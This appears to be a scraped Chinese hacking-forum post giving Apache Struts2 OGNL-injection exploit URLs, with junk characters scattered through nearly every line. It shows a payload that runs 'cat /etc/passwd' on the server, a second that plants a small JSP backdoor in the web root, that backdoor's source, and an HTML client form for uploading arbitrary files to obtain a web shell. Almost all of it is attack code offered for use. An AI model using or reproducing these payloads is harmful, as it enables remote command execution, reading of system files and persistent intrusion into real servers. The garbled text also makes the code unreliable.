& d# i, I0 X. \) i: Lhttp://www.example.com/struts2-blank/example/X.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} 2 a; c# k4 X/ p9 G1 { J 0 `# F* t7 N- E% h : P( \( x3 N0 j 0 U6 t1 O& h, Q8 G $ N. j8 _3 P. n) ~6 F3 A6 q- S/ _* ]* ~9 K
1 j! q8 g4 g! u; t. j ; p5 q) v# a' u2 C爆路径: - v* O. M" m+ t# B . B! L- e q* W! E2 P# C' I6 c. ihttp://www.example.com/struts2-b ... 8%29.close%28%29%7D ) B5 [( `- j' ^" R1 s- ], [6 O, Y4 ^+ n8 B- Y- |
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写文件: # Q: K# T+ c8 t( f) l , [0 A- n( C7 h Q- ~0 j6 D: `http://www.example.com/struts2-blank/example/X.action?redirect:${ / ^8 y2 l w4 }/ d% e7 I2 V & \/ l' p5 q# v1 w* c4 D! r%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),0 S7 [/ v: X! Q4 h- A
|- U% `. \/ M%23p%3d(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22).replaceAll("\\\\", "/"), ! z& _4 u5 ]+ w$ t9 _0 H ' `7 b; O! D5 A* x; |4 A* Mnew+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()7 C; L, @+ h* m
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}&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e" ^* Y& A# \, Z! G% `
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写入的文件内容: $ |& x* f1 M6 `0 u# V7 [. Z+ U4 _' P8 M% x1 ?6 I0 Y u
<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%> 6 d$ {3 x* e5 a, C7 f
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其实就是一个jsp的小马,需要客户端配合 - e' u5 t2 e( x; [1 E
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函数f是文件名,t是内容 * ~5 m% F4 Q! H r3 h 3 v8 W( p, y# c% ]$ [客户端: 5 U$ \0 l5 |! ]+ U # c7 A' n# W# \7 a& s+ ^+ H<form action="http://www.example.com/struts2-blank/example/css3.jsp?f=fjp.jsp" method="post">, g% \) ^" Z" L ]0 b0 Q
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<textarea name=t cols=120 rows=10 width=45>your code</textarea>; }. j' d4 R7 l9 T
/ x5 Q! O$ n0 w2 ~+ R" b<center>. Q% X+ H4 p. \0 Y2 {, G+ I
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<input type=submit value="提交">; L. U5 W/ l l+ u6 E1 Y
4 f7 Z3 }* o, P</form>- r- R$ n, Y; K* w# _
7 ~$ E/ c1 C8 z1 q% I就在当前目录建立一个fjp.jsp" [) a* A \# g' d6 S! r- Q. p; W
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shell:http://www.example.com/struts2-blank/example/fjp.jsp 0 v; U; g; m K j2 M8 {& M1 P 6 K3 ~' S! x- ]4 L . Y D! N% K) d& P3 g7 f5 ]6 r 5 l7 D$ Z) b* i9 c, v" A' h还有@园长的一个客户端:- ~4 p$ E( F$ I; U; c& o
. }4 p3 O2 T% s% x7 d9 A) \ P<html> $ ?7 n- M$ o9 m! B. ?4 q- A3 N, V) G1 A# p) |2 |
<head> 8 Y7 w6 `' `+ p9 I0 A 1 ], O: I; H* p6 z2 D ?0 j<meta http-equiv="content-type" content="text/html;charset=utf-8">- T- p' B: _. Q$ [9 x
" Q* M- I' R5 h9 X) v<title>jsp-园长</title> % o- e$ R I, k& V r" |, ]* l' _* Q' w( Z/ f
</head> ' q+ _% W% q+ E# w p& ~- T$ j; E% O: s1 n4 o- ^
<style> " |9 f; B7 V1 J6 t+ L9 z( D4 ^+ x8 |" |) O7 |
.main{width:980px;height:600px;margin:0 auto;} / [+ Z' i4 M; r0 x % s& o) l6 h/ c* M' u' \6 y5 ]6 V/ B.url{width:300px;} 0 z5 F" k/ u1 E$ k; j# w1 R f & _. }$ c. C: _. P8 z1 A6 ~! \: g.fn{width:60px;} 9 I. V( T9 v, m' g * f8 H8 O) C) w& f.content{width:80%;height:60%;}& h# y K- d, R1 n" \3 R0 m6 d
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</style> # [' r ] `9 f; h) |; k+ A0 U : N# t9 z. c/ W8 i4 R( d<script>, l! I& r' }! W
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function upload(){ 4 m. v: D9 w7 k5 [, c6 T: g) B! Y8 T3 D. ?7 P
var url = document.getElementById('url').value, , o9 w* U- I( m: t/ I # I# X; p- p+ n6 Y8 A- g content = document.getElementById('content').value,$ H# r) V& [: u9 N$ Z/ t) j$ f
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fileName = document.getElementById('fn').value, U+ T% a) N* A! J" M4 U; R( v7 @6 E& Y. M, ^5 ^, X
form = document.getElementById('fm');; e1 }4 f% z; h- p8 t( y- ~) _2 P& n2 A
: L3 O+ z$ L7 G( o! W if(url.length == 0){9 H( s5 G# `8 L- s; a
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alert("Url not allowd empty!");$ G* W! X1 W( ^
) x8 A+ H3 s* I' |7 B7 Q) _, Q, A return ; 3 A2 u% @7 ^" r" x, n0 W! }5 V* ^2 j& Z# m
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if(content.length == 0){ * P: Y5 `( c+ e* s. O' Y/ S! b4 W( B5 ]
alert("Content not allowd empty!");! }9 `( m. }" ]: t
( j" r- i! ~5 r2 D4 i; C2 v return ; ; d. N9 N4 I3 d$ c* z8 C( v% r# l5 f% K- A. m: T/ Y: h: l
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if(fileName.length == 0){5 ~2 e! ?: g, U6 W$ p9 o v( K r
! n3 F* c4 M+ I! _* j- M* S" \ alert("FileName not allowd empty!"); - p( X5 {& d7 D0 j, ?" {, t' ]/ i
return ;' [5 @/ d5 q8 s, g4 }9 q" a. m
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: ^. z: _# d2 h) z" w& K& u form.action = url; ( }0 w2 u3 [. }- V, a 2 S- ?2 _( ?* E- y9 m- z: s+ c form.submit(); 5 w/ ~- J2 M8 \5 A2 |( D& V; I: P' a1 p$ f b
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</script>8 Q3 M+ x1 L2 L- S
" b7 I2 Y+ a% H. s! h<body>& `0 C7 A' f$ \4 _- C! A! O# s
- z" ~# b6 y$ z7 P0 m" ^ `3 F<div class="main">7 d' }; a. w9 \+ u- U- Y6 s0 ~) ]
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<form id="fm" method="post"> ( e) c( J$ c* s! a / f8 L0 O1 V& @3 X5 g URL:<input type="text" value="http://localhost/Struts2/css3.jsp" class="url" id="url"/> j( L1 _5 e# B1 O3 C( O* b6 s% R2 @( J2 `* }4 I& A
FileName:<input type="text" name="f" value="css.jsp" class="fn" id="fn" /> 8 y3 H0 K/ e3 k% S( Z, t 7 t* n. v: y) c. n <a href="javascript:upload();">Upload</a>! E3 k" i- i# n% k0 _
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7 y: E/ a7 l% d6 s' N3 D2 A + d A( I. W& b: | <textarea id="content" class="content" name="t" ></textarea> , b0 S9 |7 E' m! o+ d! V' {: l* T. \+ M; r$ q* l
</form>5 t5 H2 e6 C/ m$ o' w/ a3 L